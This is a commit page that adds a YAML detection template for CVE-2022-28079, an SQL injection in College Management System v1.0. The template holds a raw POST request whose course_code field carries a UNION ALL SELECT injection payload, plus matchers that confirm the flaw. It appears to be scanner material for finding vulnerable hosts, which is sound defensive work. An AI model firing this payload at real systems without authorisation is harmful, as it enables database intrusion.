Merge pull request #4653 from ritikchaddha/patch-86

Create CVE-2022-28079.yaml
patch-1
Prince Chaddha 2022-06-25 00:16:20 +05:30 committed by GitHub
commit fdc1554ff1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: CVE-2022-28079
info:
name: College Management System - SQL Injection
author: ritikchaddha
severity: high
description: |
College Management System v1.0 was discovered to contain a SQL injection vulnerability via the course_code parameter.
reference:
- https://github.com/erengozaydin/College-Management-System-course_code-SQL-Injection-Authenticated
- https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f
- https://nvd.nist.gov/vuln/detail/CVE-2022-28079
metadata:
verified: true
tags: cve,cve2022,sqli,cms,collegemanagement
requests:
- raw:
- |
POST /admin/asign-single-student-subjects.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
submit=Press&roll_no=3&course_code=sd' UNION ALL SELECT CONCAT(md5("{{randstr}}"),12,21),NULL,NULL,NULL,NULL#
matchers-condition: and
matchers:
- type: word
words:
- '{{md5("{{randstr}}")}}'
- type: status
status:
- 302